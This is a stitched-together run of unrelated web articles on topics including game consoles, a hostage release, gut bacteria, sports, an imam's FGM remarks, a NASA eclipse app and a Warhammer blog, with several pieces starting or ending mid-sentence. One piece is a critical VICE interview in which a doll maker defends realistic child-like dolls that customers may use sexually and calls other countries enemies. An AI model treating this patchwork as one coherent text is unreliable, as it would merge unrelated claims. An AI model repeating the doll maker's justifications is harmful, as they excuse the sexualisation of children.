The PS4 has all manner of additional remote functionality. For a start, if you own a PS Vita handheld console you can use it to remotely play most PlayStation 4 games. Not only does that mean you can use the Vita as an additional controller, but you can play PS4 games streamed to your handheld's screen wirelessly. It's like the Wii U GamePad, where you can even carry on a game in a separate room in the house.
In addition, Sony has release a PlayStation App for iOS and Android that allows you to do much of what Xbox SmartGlass is capable of. You can track and chat with friends, watch shared games footage and even buy games for your PS4 which will be ready when you return home.
READ: Hands-on video: PS4 Remote Play explored
On paper it looks like the Xbox One has the better launch line-up, purely because of the exclusive titles in its range.
The biggest of the PS4's first-party launch titles, the ones that will never be released for Xbox One, are Killzone Shadow Fall and Knack. Download-only shooter Resogun is also getting a lot of positive responses from the gaming community.
The Xbox One fares slightly better on the exclusive launch title front, with Forza Motorsport 5, Ryse: Son of Rome and Zoo Tycoon all being available from the off. Capcom's Dead Rising 3 is also an Xbox One exclusive and is one that a fair few have been gagging for.
READ: Ryse: Son of Rome preview: Playing Crytek's vision of next-gen gaming
In the future things should even out a little. PS4 titles that didn't make the launch but are certainly ones to watch include inFamous Second Son and DriveClub; they are both scheduled for release in the "launch window" which runs to March 2014. In addition, it has been revealed that Bungie's Destiny Beta will be playable on PlayStation consoles first.
Xbox One owners will get Titanfall though, and for some that's the end of the argument.
READ: Titanfall Gamescom 2013 preview: We finally get a chance to go hands-on
At this stage, with Sony promising to add many entertainment features in the subsequent months, it seems that the Xbox One has the upper hand. At £429 in preference to £349, it is more pricey, sure, but can do much more from the box.
However, with early adopters it never really pans out that way. It will mainly come down to the games, and that becomes a much more personal choice. Both have a decent, if not spectacular launch line-up of titles available, and both are very adept at playing those titles.
The final choice is yours.Last week, Food Not Bombs (FNB) celebrated 17 years in Davis. FNB is group of volunteers that are dedicated to serving free vegan and vegetarian food to the Davis community.
The organization has a group of chapters all around the United States. FNB Davis was created in the winter of 1996. One of the founding volunteers, Roger Ford, has been volunteering the longest at FNB Davis. He is currently the main volunteer with two other volunteers that help him pick up and prepare the food every week.
“Davis students and residents got involved and started FNB 17 years ago,” Ford said. “Once members started leaving, I kept it going. I learned how to cook.”
Their ideology is to protest violence and poverty by serving food to anyone in the community, with the main goal being to take waste from organizations and distribute it to the public. FNB takes waste from the Davis Food Co-op as well as Delta of Venus and the Village Bakery.
“Everyone is struggling to get food, at least once in their lifetime,” Ford said. “Community meals really can help.”
FNB Davis meets every Sunday, no matter the weather — rain or shine. The volunteers go the Davis Food Co-op every Saturday night to get the food that would otherwise be thrown out. Sunday morning, volunteers meet at a private location where they cook the food and serve it at Central Park at 1 p.m.
“It is a very peaceful gathering, like a picnic. We have a clean up station,” Ford said. “People feel welcome because they can help themselves to seconds and are able to clean up after themselves.”
In the past years, the FNB Davis chapter has had benefit shows with suggested donations. These benefits have local bands play and help give awareness to the organization.
“FNB seems like a really good organization that takes in the values of helping out the community,” said Eddie Saldana, a second-year electrical engineering major. “I see them every Sunday in rain or shine, it’s impressive.”
Only three volunteers are left. Ford said that they are in major need of help with transportation to pick up the donations as well as with cooking and cleaning up the food.
All different types of people come and enjoy the food every Sunday, including construction workers, homeless people and people with jobs. Mark Nelmida, a second-year neurobiology, physiology and behavior major, just recently discovered FNB.
“This is my first time. I am interested in volunteering,” Nelmida said. “I’ve met a lot of interesting people and this is definitely helping people out who are in loss of finding food.”
Ford emphasized that the FNB Davis chapter is one of the smaller chapters in the country. The San Francisco chapter is much larger in terms of volunteers and people who come for the food. They serve twice a day, every day of |
12, 2017, 12:34 PM GMT / Updated Oct. 13, 2017, 11:09 AM GMT / Source: Associated Press By Courtney Kube, Wajahat S. Khan, F. Brinley Bruton and Hans Nichols
An American woman and her family freed from the custody of a Taliban-linked group left Pakistan on a flight bound for Britain Friday after her husband earlier declined to board a plane to the U.S., officials said.
Caitlan Coleman, who is originally from Pennsylvania, and Canadian Joshua Boyle were kidnapped by militants while hiking in Afghanistan in late 2012. Coleman was pregnant when she was captured, and the couple had three children while being held hostage.
The Pakistan military said that after it was alerted by U.S. intelligence that the family was being moved across the border from Afghanistan, a team that included infantry and intelligence personnel raced to surround the vehicle.
"The vehicle was immobilized with sharp shooting. We destroyed their tires. The hostages remained inside the vehicle. The driver, and an accomplice, managed to escape to a nearby refugee camp," Maj. Gen. Asif Ghafoor, a spokesman for the Pakistani military, told NBC News. "We moved the hostages via helicopter to Islamabad. They were then handed over to U.S. authorities."
U.S. military officials pushed back on the idea that the release was the result of a hostile, armed confrontation, with one official describing it as more of a diplomatic handover.
The U.S. had a C-130 ready to fly the family out of Pakistan but the husband did not want the U.S.-supplied transportation, three American officials told NBC News. It was not clear why they rejected the opportunity to immediately leave.
The family left for the U.K. on Friday but their final destination was not immediately clear, according to a senior Pakistani military official.
"It's a blessing that those children have survived and they're young enough that they can live a normal life," Boyle's aunt, Kelli O'Brien, told Canadian broadcaster Global TV. "It was my sister who called me and let me know that they’ve been saved and they’re coming home after five years — that it was really happening this time, that they had been saved."
"My children have seen their mother defiled"
FBI Director Chris Wray said "we could not be happier" about the outcome.
"It's a great day. They've been held a long time," he said.
Coleman's family posted a note on their door referring to the "joyful news" and asking for privacy "as we make plans for the future."
The family were held by the Haqqani network, an insurgent group that supports the Taliban, when the Pakistani military mounted what it called "an intelligence-based operation."
The Haqqani network, whose leader is the deputy head of the Afghan Taliban, also held Sgt. Bowe Bergdahl for five years. The Afghan Taliban obtained five top commanders in exchange for the U.S. soldier in 2014 in a deal with the U.S. that was brokered by Qatar.
The couple had pleaded for their release in propaganda videos released by their captors. In one released in December, Coleman referred to "the Kafkaesque nightmare in which we find ourselves" and urged "governments on both sides" to reach a deal for their freedom. She then adds: "My children have seen their mother defiled."
Ghafoor said "no prisoner exchange or ransom money" was involved in freeing Coleman, Boyle and their children.
Before he married Coleman, Boyle was briefly married to the sister of Omar Khadr, a Canadian who spent 10 years at Guantanamo Bay after being captured as a teenager during a firefight at an al Qaeda compound in Afghanistan. After Coleman and Boyle were taken, U.S. officials said they did not think his connection to the Khadr family was a factor.
After the couple was freed, President Donald Trump called the operation "a positive moment" for U.S.-Pakistan relations. Pakistan's cooperation was a "sign that it is honoring America's wishes for it to do more to provide security in the region," Trump added.
The U.S. has long criticized Pakistan for not aggressively going after the Haqqani network, which is considered part of the Taliban.
In August, Trump warned Pakistan "has much to lose by continuing to harbor criminals and terrorists," a reference to the country's alleged support for militant groups like the Haqqani network. Pakistan rejects accusations that it shelters the militants.
The Haqqanis waged war on NATO forces in Afghanistan and have been blamed for many of the more than 2,000 U.S. military deaths there.
Due to their wealth and deep links to local tribes, one Western diplomat dubbed the Haqqanis "the Kennedys of the Taliban movement."
Courtney Kube and Hans Nichols reported from Washington. Wajahat S. Khan reported from Islamabad, Pakistan. F. Brinley Bruton reported from London. Mushtaq Yusufzai reported from Peshawar, Pakistan.The Boston Beer Co., best known for its Samuel Adams line of craft brews, said it is preparing a special commemorative beer to mark the 2012 Boston Marathon.
The company is planning to unveil “Samuel Adams Boston 26.2 Brew” at a news conference scheduled for Thursday at the Samuel Adams Brewery. At the conference, Boston Beer is expected to formally announce its first-ever partnership with the Boston Athletic Association, which manages the Boston Marathon.
The association’s Joann Flaminio and marathon veteran Bill Rodgers are expected to join Boston Beer founder Jim Koch at the event.
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Most details about the special beer will be disclosed at the event, but in a media advisory, the company noted, “This unique brew is fitting for both runners and spectators on race day,” because it is a lighter body beer with a slightly lower alcohol level than many of the other beers in the Samuel Adams line-up.
Chris Reidy can be reached at reidy@globe.com.A sample bottle containing E. coli bacteria is seen at the Health Protection Agency in north London March 9, 2011.
A sample bottle containing E. coli bacteria is seen at the Health Protection Agency in north London March 9, 2011. Reuters/Suzanne Plunkett
A recent study conducted by researchers at the University of North Carolina has revealed that even a single course of common antibiotics can alter the gut bacteria and leave the person vulnerable to a number of infections.
A healthy microbial environment is required to control the growth of bacteria, called Clostridium difficile, which may lead to a number of infections. The microbes – present naturally in the intestines of the humans – modify the bile acids, which in turn suppress the growth of C. diff.
The new research indicates that some of the commonly used antibiotics alter or kill the naturally present gut microbe that are no longer able to modify the bile acids. As a result, harmful and life-threatening infections caused by C. diff are promoted.
During the study, the researchers looked at the intestinal composition of the mice before and after treating them with different antibiotics commonly available and used. In addition, the team identified a set of 26 different primary and secondary bile acids that impact the growth of C. diff and compared their concentration in mice before and after the antibiotic treatment.
To visualise how C. diff grows in a natural gut environment, the researchers added its spores to the contents of the intestine. To their surprise, the team found that the primary bile acids allowed the C. diff spores to germinate, despite the antibiotic treatment.
However, in the large intestine, the secondary bile acids stopped the spores from germinating. In the absence of bacteria and secondary bile acids, C. diff was able to grow quickly again.
"These findings are a first step in understanding how the gut microbiota regulates bile acids throughout the intestine," said researcher Casey Theriot in a press statement. "Hopefully, they will aid the development of future therapies for C. difficile infection and other metabolically relevant disorders such as obesity and diabetes."
Bile acids are known to help wth digestion and absorption of fats. Primary bile acids – which are produced in the liver – are converted to secondary bile acids by the gut bacteria. The researchers found that some of these secondary bile acids have an inhibitory effect of the growth of C. diff, reports News Medical.
Meanwhile, a recent research revealed that gut bacteria may put the person at an increased risk of diabetes and obesity.The Tampa Bay Storm, the winningest team in Arena Football League history, is having its operations suspended for at least the coming season.
The Storm has a rich history, with five Arena Bowl titles. But with the AFL struggling, down to a handful of teams, Tampa Bay Sports & Entertainment decided to reallocate its resources.
"This was not an easy decision, but after deep consideration, evaluation and introspection, we have elected to reallocate the resources dedicated to arena football for other uses within our organization, including the growth of Tampa Bay Entertainment Properties," said president Steve Griggs.
This shouldn't be a huge surprise. The AFL has been struggling. Tampa Bay Sports & Entertainment cited rising league costs and reduced revenues in reason for suspending operations of the Storm. Griggs said the organization is pleased to explore future opportunities in "stronger, reinvented" AFL at right time.
The Storm made Tampa Bay its home in 1991 and set league records for wins, championships and attendance.
"We are eternally grateful to the Storm fans, current and former players, our sponsorship partners and the Tampa Bay community for their continued support during the team's 26 years of operation in Tampa Bay," Griggs said. "We are proud of the five ArenaBowl Championships they all earned throughout our history."
With the Storm operations suspended, Tampa Bay Sports & Entertainment will look to fill those dates with other events like concerts and family shows.
Storm season ticket members will be contacted immediately by their membership representatives to discuss options for any monies currently being retained by the organization against season tickets for the 2018 season.Trottla is a Japanese company that produces and sells child-sized, life-like dolls. They're made to feel and look like real children and come with heating instructions and moveable joints. Before you berate me for immediately assuming these dolls are for pedophiles, consider that there is no male counterpart, they wear lingerie, and just look at the fucking pictures.
The company clearly states that the dolls are not to be used for sexual purposes, but if they're just kids' toys, why the hell would you dress them up in matching white lace lingerie sets and give them teeny weeny awkward nipples? The photo galleries used to promote the dolls on the manufacturer's website are also enough to creep out even the hardiest internet veteran.
Generally, it is legal to produce, sell, and buy these dolls in the UK, though obviously the lines begin to blur when it comes to their usage and how they're displayed. How is there a loophole in UK law big enough for a life-size child sex doll to fit through? I caught up with Shin Takagi, the owner of Trottla and the guy who makes the dolls, to find out how his business continues to operate.
Creepy, right?
VICE: Hey, guys. So how are Trottla dolls made?
Shin Takagi: We produce most parts of the dolls ourselves because a lot of the parts aren't available commercially. It requires a lot of time to fully reproduce the movement of the human body. Its skin is soft like a marshmallow and is made of the closest material to human skin. The whole process requires great risk. Our dolls are the only dolls in the world that will substitute a human girl.
Why, though? What are they for?
I cannot be precise in my answer to this. The purpose of the doll differs with each customer and the customer is free to use the doll in any way they wish.
So I'm guessing it's not for kids... Is it a sex toy?
This is the customer's choice. However, we do prohibit the dolls being used as sexual objects commercially, as they are very realistic and could be mistaken for real children. We pray for the security of our customers, and they may be put in danger if they do not treat the doll with caution.
So home sex is fine, but no porn?
That's right, unless it is a part of the expression of art—I am the producer, so I will perform the judgement. The doll's sexual function has not been installed, anyway.
This isn't creepy, though. This is totally fine.
Will you be installing "sexual functions" into the dolls?
No, because children do not perform sexual intercourse.
What if you see that a doll has been used for porn?
I would stop after-sale service, such as repair. Forever.
Why don't you make male dolls?
We do not manufacture male dolls because the demand is small. Most customers are men, and I think it is natural to lean towards the opposite sex. Therefore our orders are limited to girls. However, we do sell a small collection of boys' clothing—dressing up the dolls is one of the greatest pleasures of the customer.
You refuse to ship to North Korea, China, Israel or "countries with policies against Japan"—why is that?
We are the people of Japan, and China, South Korea, and North Korea have been recognized as clear enemies. We cannot agree to deal with the enemy. Israel is not the enemy, however idolatry is a violation of the Jewish religion, and we pay tribute to the religious beliefs of others. We do not want conflict with them. Also, safe transportation of the dolls cannot be secured in such a place.
Do you think you might get into legal trouble if you sold a doll to a customer in Israel?
I cannot predict this. It is important to respect their doctrine.
How many dolls do you sell to people in the UK?
I sell a small amount of dolls to the UK. I know that the laws in the UK regarding the usage of sex toys and dolls are a little different to the laws in Japan, so I think our UK buyers have more conservative uses for Trottla dolls. I treat my dolls like I would my own daughters and I agree with these ideas. Using the doll as a sex toy isn't really for our British buyers, or myself.
Why do you think people in the UK have a different view on your dolls compared to people in Japan?
Japan is a special country and we have special skills. However, we don't have very good business skills because our aim isn't to make money. People in Britain appreciate design. Like your cars—you have Lotus and TVR, which are reserved and sleek. They're not Ferraris. My dolls are like TVRs.
Profound. Do you know of any UK-based companies that sell a similar product to your dolls?
My dolls are the only kind in the world, and I'm not interested in any other companies that sell similar dolls to mine. My dolls, including their internal systems, are totally original. They are completely different to other dolls produced by any other company, and I don't even want to see the work of others.
Wow, OK. Finally, how do you respond to people who say what you're doing is sick?
Some people have this view, but the doll is not a human being. Human rights do not belong to a doll—the victim does not exist anywhere. These people attack my company, but I do not need to justify myself. I expect many of these human beings either have mental problems. If you think our dolls are immoral, should we also remove all of the world's nude sculptures, like the statue of David, just for reproducing genitalia?
Bye now, forever!
Follow Chloe on Twitter: @chloecrossx
More stuff about adults who like children:
Warren Ellis: Jimmy Savile and the Price of Silence
Cowards Are Blackmailing Young Women to Death on the InternetDALLAS -- Mavericks owner Mark Cuban believes the idea of doing away with maximum contracts, as suggested by Oklahoma City Thunder star Kevin Durant, could be considered by the league, as long as players are willing to give up something significant in return.
"If you give up guarantees, it's a trade-off," Cuban said before Tuesday night's preseason opener against the Houston Rockets.
Cuban mentioned a system similar to the NFL's in which guaranteed money is part of negotiations for each contract. NBA contracts are fully guaranteed unless the parties agree on other terms.
"If you give up guarantees, it's a trade-off," Mavericks owner Mark Cuban said Tuesday regarding the possibility of leaving maximum contracts out of the league's next CBA. Steve Jennings/Getty Images
The NBA's salary cap will increase dramatically in the summer of 2016 due to the nine-year extension of the league's television deal that was announced Monday.
The new TV deal is worth $2.66 billion annually, according to a New York Times report, almost three times the value of the league's current deal.
In the wake of that news, Durant suggested that the league should no longer have a maximum restriction on individual player contracts. Durant, who is due to be a free agent in 2016, said several maximum-salaried players generate much more revenue than they are paid.
"Look at it like this, Kobe Bryant brings in a lot of money to Los Angeles, that downtown area," Durant said, according to The Oklahoman. "Clippers are getting up there; Chris Paul, Blake Griffin and those guys are bringing in a lot of money as well. Look at Cleveland, look at Miami when LeBron [James] was there.
"These guys are worth more than what they are making because of the money that they bring to that area. That's a conversation you can always have, but until it's changed, you never know what will happen to it."
Editor's Picks Rovell: NBA's TV deal shows its unique position The NBA's new TV deal with ESPN and Turner shows how unique a position the league is in.
More from ESPN.com Larry Coon says the NBA's new TV deal is a windfall, but also shows how it will affect the CBA and players' salaries. 1 Related
According to Cuban, it's a conversation than league's owners are willing to have, as they did during negotiations for the current collective bargaining agreement.
"It was discussed during the lockout time among owners but never got anywhere," Cuban said. "So it was just one of those trial balloons. I'm not offering this as a negotiation, I'm not suggesting it. All I'm saying is that was something we discussed before, and max contracts are always big question, guarantees are always a big question. But we have two years before that's even an issue, so no point discussing it now."
Cuban declined to discuss how the new television deal might affect the labor relationship between the league and the players association, such as whether this would help avoid a lockout when the sides can opt out of the current collective bargaining agreement after the 2016-17 season.
"I have no idea, it's too early," Cuban said. "Who knows? Things change so rapidly in business that you can't predict two years from now."
The current collective bargaining agreement was agreed to in December 2011 after a 161-day lockout. The league claimed it was losing $300 million annually, with 22 of the 30 owners operating at a loss. The players accepted a new deal that gave them approximately 50 percent of the league's annual basketball-related income (BRI), a sharp decrease from the 57 percent they received from the previous CBA.
James has been vocal, among other stars, about the league not being able to claim financial stress during the next negotiations in wake of the lucrative TV deal and the skyrocketing prices of franchises, topped by the Clippers selling for $2 billion.
"It's a lot of money, don't get me wrong, and I'm grateful, but it's not going to create so much incremental revenue after you pay out the percentages to the players that it's going to be a shocking windfall," Cuban said of the TV deal's impact. "It'll be good, but not shocking."A Washington D.C.-area imam caused a firestorm last week when video emerged of him defending female genital mutilation:
Shaker Elsayed, Imam of Dar Al-Hijrah Mosque in Fairfax County, VA, Endorses FGM: It Prevents Girls from Becoming Hypersexually Active pic.twitter.com/DoMtvQHz9G — MEMRI (@MEMRIReports) June 1, 2017
Ever since, the Dar al-Hijrah mosque in Falls Church, Virginia, has been under fire to address the controversy prompted by Imam Shaker Elsayed's comments:
Virginia mosque embattled after imam said female genital mutilation prevents 'hypersexuality' https://t.co/ooJZ4kmTyP — Times-Dispatch (@RTDNEWS) June 7, 2017
Several prominent Muslims are calling for the Dar al-Hijrah mosque to fire him after the comments. https://t.co/fvQ88flp4o — Heat Street (@heatstreet) June 7, 2017
In fact, Dar al-Hijrah announced this morning that Imam Elsayed had been placed on administrative leave:
Follow up statement by our Board of Directors regarding Imam Shaker Elsayed.
Read Full Statement Here: https://t.co/KFqGSVnOgB pic.twitter.com/vgK0UIapJk — Dar Al-Hijrah (@DaralHijrah1) June 7, 2017
A Virginia mosque is condemning its leading imam's comments on genital mutilation. https://t.co/nJMyLa2DCQ — AP South U.S. Region (@APSouthRegion) June 6, 2017
The Washington Post waded into the matter, describing the mosque as being "embattled" from the resulting criticism:
Virginia mosque embattled after imam said female genital mutilation prevents "hypersexuality" https://t.co/YHC51OFbvX — Washington Post (@washingtonpost) June 6, 2017
That article's author, Islam and Arab affairs reporter Abigail Hauslohner, took to Twitter earlier today to promote her article -- and noted that 400 people had signed a petition in support of Imam Elsayed:
400 ppl have now signed a petition to defend the Imam who set off a controversy w his FGM comments (detailed here: https://t.co/zemrjVzmQ9 — Abigail Hauslohner (@ahauslohner) June 7, 2017
And yet when one reader thanked her for her article on "an extremist hotbed," Hauslohner responded that she has "never seen any evidence to suggest that Dar al-Hijrah is an extremist hotbed":
.I've never seen any evidence to suggest that Dar al-Hijrah is an extremist hotbed. — Abigail Hauslohner (@ahauslohner) June 7, 2017
This is truly a remarkable claim.
In addition to the fact that she was reporting on the imam of that mosque promoting a criminal act banned by federal law, considerable reporting exists detailing the evidence that Dar al-Hijrah is an extremist hotbed. Some of that reporting comes from Hauslohner's own publication.
In September 2011, the Washington Post reported on the ties between Fort Hood killer and former mosque attendee Nidal Hasan and al-Qaeda cleric and the mosque's former imam Anwar al-Awlaki.
The Post noted that Dar al-Hijrah has one of the most dubious reputations for mosque attendees turning to terrorism.
Then, too, the Washington Post described Dar al-Hijrah as "embattled":For conservatives, one of the central arguments against a minimum income or even a minimum wage is the notion that employment is a value in and of itself. Taking a low-paying job, no matter how menial or “dead-end” is supposed to be an exercise in character that builds self-worth and places a person on the ladder toward upward mobility. Therefore, anything that prevents someone from working is contributing to sloth and moral decay.
Perhaps it was true once. There really was a time in America when an unskilled, menial job could be a gateway to a rewarding career. One of the reasons CEO’s now earn 100’s of times more than their entry-level employees is that menial jobs have become a gateway to nowhere. In a knowledge economy, the on-ramp to post-middle class affluence is located in a place fewer and fewer people can reach.
Research is starting to demonstrate the nature of the problem. People who take low-wage, menial labor in service industries or fast food at any point in their careers tend to have depressed incomes throughout their lifetimes. If you ever work at Wendy’s, you have roughly a 5% chance of ever earning $70,000 a year. Working at Ford, by contrast, suggests a 50% chance of eventually earning a median income. Lousy jobs are a gateway to lousy jobs.
This matters because the myth of the gateway job is blocking policy choices that might open up greater access to opportunity and enable America to more productively develop our vast pool of human potential. Labor is not what it used to be. In a knowledge economy, labor is not strongly distinguished from capital. It can be developed, shaped, enhanced and turned into more than a zero-sum resource. Labor, paired with a great deal of personal investment, can actually be used to accumulate enough capital to one day live on. This requires time, determination and opportunity.
The logic behind this research outcome is relentless. Dropping into menial labor operates much like dropping out of school, limiting the potential to develop labor as capital. Accessing and remaining on the ladder toward higher earning careers requires the ability to support a long cycle of education and the economic freedom to make choices about what kinds of work to engage in.
Because we believe that work is a value in and of itself, we push people into the labor force too early, depriving them of the opportunity to learn how to do something that might reward them and enrich the economy as they proceed through life. We close off opportunities to convert labor to capital.
We end up with too many people trying (and failing) to go to college because it is the only path for which we offer any subsidies. Non-technical college graduates who developed critical skills like effective communication and a spectacular capacity to learn, end up tracked too soon into work that offers little chance to put their skills to work.
Most of them eventually find their way because the skills and networks developed in the college environment give them most of what they need to succeed in a knowledge economy. They will tend to pick up additional skills on their own as needed, because ultimately that’s what a degree in Philosophy or Medieval English Poetry delivers. College graduates earn more than high school graduates, even if they spent four years studying Feminist Literary Studies, because they developed the skills that open up a lifetime of ceaseless learning and adaptation.
This dynamic is far more damaging for those who might want to pursue careers in fields that require skilled industrial labor. In fact, it is in blue-collar jobs where the dynamic described in the research by Bright.com is brought to bear most cruelly.
No one walks off the grill at McDonalds to take their new as an underwater welder or aircraft mechanic. Developing the ability to compete for those kinds of jobs is time-consuming and expensive. If you do not have a family that can support you while you learn and some time or exposure to discover that these careers even exist, these options are out of reach.
Employers cannot afford to pay a living wage while training a vast pool of potential recruits in key skills. Potential recruits with an interest in higher-skilled jobs cannot afford to prepare for those jobs if it requires them to forgo earning a living while taking out student loans for two or three years.
Someone who takes that job at Home Depot or Wendy’s in order to support themselves is limiting their range of options for developing a more productive career. Front-line menial labor is supposed to create opportunities to climb the economic ladder, but they generally do not. More often than not, these jobs are a gateway to a lifetime of economic underachievement.
Some might look back on their own experiences to suggest the “lessons” learned from an early job became the key to later success. There may be a few elements of those experiences missing from the analysis.
Almost all of us beyond a certain age spent years doing menial work part-time, as an adjunct to something more important we were doing. Very few us, if we ever achieved much higher salaries in very successful careers, ever had to perform that work in order to survive or feed a family. If we did, whatever lessons we gained came at the cost of lost opportunities for higher paying careers that we may not even be aware of.
There’s a lot to learn from doing a menial job. Many of us can look back on poorly paid work that taught us crucial values. Or we could look back on years training for an academic or athletic competition that did exactly the same thing without sucking time and energy out of a career path. We may press our kids to experience menial labor to help develop grit and a greater awareness of the world, but we will work hard to keep those experiences from becoming necessary for their survival.
Affluent white kids on the construction site or behind the store counter are usually tourists. They are doing a blue-collar internship.
A shift away from the traditional safety net toward a form of minimum income offers a lot of benefits. One of the strongest criticisms of such a move, the fact that it would undermine the need to take menial work to survive, is actually one of its strengths. Pushing people too soon into menial work is as economically valuable as pushing twelve year olds into a coal mine. A shift toward a minimum income would not only streamline our government, it would improve economic opportunity in almost exactly the same way that a universal public education once did.
Our attachment to the supposedly ennobling value of menial labor is dysfunctional and frankly condescending. Many of the same voices who crow about the value of work go to great lengths to prevent their kids from falling into that trap. We should not let a myth about gateway jobs prevent us from opening up broader economic opportunity and better developing American talent in a brutally competitive global market.Find out what the Aug. 21 total solar eclipse will look like from anywhere on the planet with a new interactive, 3D simulation app from NASA.
The Aug. 21 eclipse will cross the U.S. from Oregon to South Carolina along a path about 70 miles (113 kilometers) wide. The new NASA app, "Eyes on the Eclipse," simulates what the sun will look like as it passes through the sky on Aug. 21. Users can explore different locations along the path of totality where the moon will completely obscure the sun in a total solar eclipse, as well as areas that will experience a partial solar eclipse or no eclipse.
Eyes on the Eclipse is a part of the NASA's Eyes program, which allows users to follow missions such as Cassini, Juno or New Horizons through interactive apps. Eyes on the Eclipse can be used on any web browser, or by downloading the app to your computer or mobile device. [Total Solar Eclipse 2017: When, Where and How to See It (Safely)]
Partial solar eclipse simulation for New York City at 11:30 a.m. on Aug. 21. 2017, using NASA's "Eyes on the Eclipse" app. (Image: © NASA)
To preview the Aug. 21 eclipse in the app, open the program through NASA's website and click anywhere on the image of Earth or choose from one of the five preset U.S. cities. To view a specific location, select the custom option and then enter the city and state, or latitude and longitude in decimal degrees.
The program offers a split-screen view, with a 3D model of the Earth on the left and a simulation of the sun as it will appear at the time and location selected on the right. By adjusting the time and location, you can see how much of the sun will be covered by the moon during the eclipse.
Total solar eclipse simulation for Kansas City, Missouri, at 11:30 a.m. on Aug. 21. 2017, using NASA's "Eyes on the Eclipse" app. (Image: © NASA)
Locations along the narrow center line of the moon's central, dark shadow, also called the umbra, will experience a total solar eclipse, as the moon moves directly in front of the sun's disk and turns day to night. Areas outside the path of totality will still experience a partial solar eclipse, when part of the sun's bright light is visible. NASA reminds skywatchers to wear safe solar glasses when looking at a partial solar eclipse to prevent permanent eye damage.
Readers can download the Eyes on the Eclipse app here.
Editor's note: Space.com has teamed up with Simulation Curriculum to offer this awesome Eclipse Safari app to help you enjoy your eclipse experience. The free app is available for Apple and Android, and you can view it on the web. If you take an amazing photo of the Aug. 21 solar eclipse, let us know! Send photos and comments to: spacephotos@space.com.Type to Siri is a new feature in iOS 11 allows you to type your questions or requests to Siri rather than requiring you to speak. This is very convenient for users who have difficulties speaking to Siri.
When you invoke Siri, you’ll find a new text field right above the keyboard where you can type in your question to be answered by Siri. By default, Type to Siri is disabled in iOS 11 so you have to enable it manually.
Here’s how to enable Siri and Type to Siri in iOS 11.
Step 1: Open Settings and tap on General → Accessibility
Step 2: Swipe down and tap on Siri
Step 3: Tap the toggle for Type to Siri
Once you’ve enabled this feature, press and hold the Home button to invoke Siri. Right above the keyboard, you’ll notice that there’s a new text field. Type your query within this text field, then press the Done button in the bottom right corner of the keyboard.Perhaps Daniel Sedin has suffered a setback in his recovery from a concussion. Or, the Vancouver Canucks want to give him two more days rest. Or, his dad is just having fun with the Swedish media.
Tommy Sedin spoke to the Swedish website Allehanda.se and said his son would not suit up for Game 1 of a best-of-seven NHL Western Conference quarter-final against the Los Angeles Kings on Wednesday (CBC, CBCSports.ca, 10:30 p.m. ET).
The Canucks later confirmed he wouldn't play.
Sedin, who was injured March 21 when he took an elbow in the head from Chicago Blackhawks defenceman Duncan Keith, practised with his teammates on Monday but didn’t rejoin them Tuesday, instead skating with the extra Canucks players.
On Monday, the left-winger's twin brother Henrik told reporters that Daniel was 100 per cent while the Vancouver officials insisted the player had not suffered a setback.
Kings defenceman Willie Mitchell, who played for the Canucks from 2006 to 2010, said he and his teammates were preparing to face Daniel Sedin on Wednesday.
"They are good people – him and Hank," said Mitchell of Vancouver’s top two scorers in the regular season. The six-foot-three, 205-pound blue-liner suffered a concussion while playing for the Canucks.
"I know they [Sedins] love the game of hockey, but I know they love life and they love their family, too. I know what [Daniel] is going through.
"You feel obligated to be out there for your teammates, for yourself, for management, ownership. Everyone. But you also have to think about life after hockey and you don’t want to put yourself in jeopardy."
The Canucks won eight of their final nine regular-season games that Daniel Sedin missed en route to winning the Presidents’ Trophy for the second consecutive season as the NHL’s top point-getter.
They also received offensive contributions from unlikely scorers, including his replacement on the top line — Max Lapierre, who has five points in as many games.
Daniel finished second in team scoring this season with 67 points in 72 games on a team-leading 30 goals and 37 assists.Warhammer 40,000 - The Ahrmen’Korah Dynasty
This weekend, my first major Painting project that I had ever done regarding painting miniatures has reached completion. The project for the Games Workshop Inner Circle contest is on display at my local store waiting for the final judging this Saturday. This was my greatest undertaking in painting by far. Through this project, within a few months I learned more about painting miniatures than I had during years of playing and painting prior. Before, I only painted the miniatures to make them look just barely presentable. I had been disregarding an integral aspect of miniature war-gaming. Also, since I’ve finally realized that I’m a mediocre general at best, my armies can look fabulous as they’re cut to shreds. So, without further ado, here is my Necron force, the Ahrmen’Korah Dynasty!
Why did I attempt the Inner Circle competition?
1. I was assured by the manager at my local Games Workshop that there will be a scoring rubric that would provide a level playing field.
2. I had been wanting to buy some new units for my main army.
3. I had finally come to terms that my grasp on tactical war as a general was weak, so I’ll make my forces the best-looking forces in my area.
What did I learn from the Inner Circle competition, and what did the Inner Circle help me accomplish?
1. I learned how to better layer and add glowing effects to models.
2. I learned that you can go back and fix what you think are mistakes. No model is perfect but it can get better after you’ve gotten better with some practice.
3. Acrylics are better to use on models than enamel.
4. Washes add a depth to your models that simply basing and layering cannot let you achieve.
5. Not everything can be accomplished in a certain time, but giving yourself a painting deadline can really jumpstart your painting schedule.
6. I learned how to use Green Stuff and how to convert a model
7. I finally started showing my work to the world.
8. I finally started this blog.
The blueprints for painting
The scheme for the Necron forces that I painted before the beginning of the competition were undercoated with a black spray paint, based in Testor’s aluminum, green and copper. Three colors. That is the tabletop standard that many people and companies abide by. Literally the bare minimum. If I wanted to win or at least do well in the competition I needed to step up my game.
The Forces that I painted after I joined the competition were painted with much more care. I used Rust-oleum Flat Antique Nickel to get a consistent base coat and then blocked out the other base colors. The green was Army Painter Greenskin and the bronze was Army Painter Weapon Bronze. Almost the entirety of the force was washed in Citadel Nuln Oil, (Which I did end up spilling a few nights ago while fixing up some details). And the Green was highlighted with Citadel Warpstone Glow and then Citadel Moot Green. But something was missing. Just one last color was needed to round |
Malfa asked the crowd at one point. That comment was met with intense booing and shouts of “Do you lie in church?” After fielding several questions and hearing comments on a range of issues, LaMalfa moved on to healthcare where he struggled through a PowerPoint presentation. His narration was hard to follow as shouts continued from the crowd. At one point, the congressman walked off stage, returning a few moments later to finish his presentation amidst the noise.
Curiously, the CBS report mentioned above seems keenly focused on the so-called bad behavior of the constituents in attendance, interviewing several LaMalfa supporters. No mention of why the crowd turned on the congressman. George Johnston, a reporter at The Orion, Chico State’s student newspaper, was liveblogging the town hall and provided a lot more insight into why the crowd became so disruptive. Take a look at some of the constituent questions and LaMalfa’s painful responses.Counting calories is 'virtually meaningless' because we all digest food differently
170 calories labelled on a serving of almonds can be closer to 129 calories
However, calories in processed foods can often exceed the labelling
This is because people digest differently due to the type bacteria in their gut
Instead of reading labels for calories, a more reliable approach to lose weight may be to stick to raw or wholefoods which are harder to digest
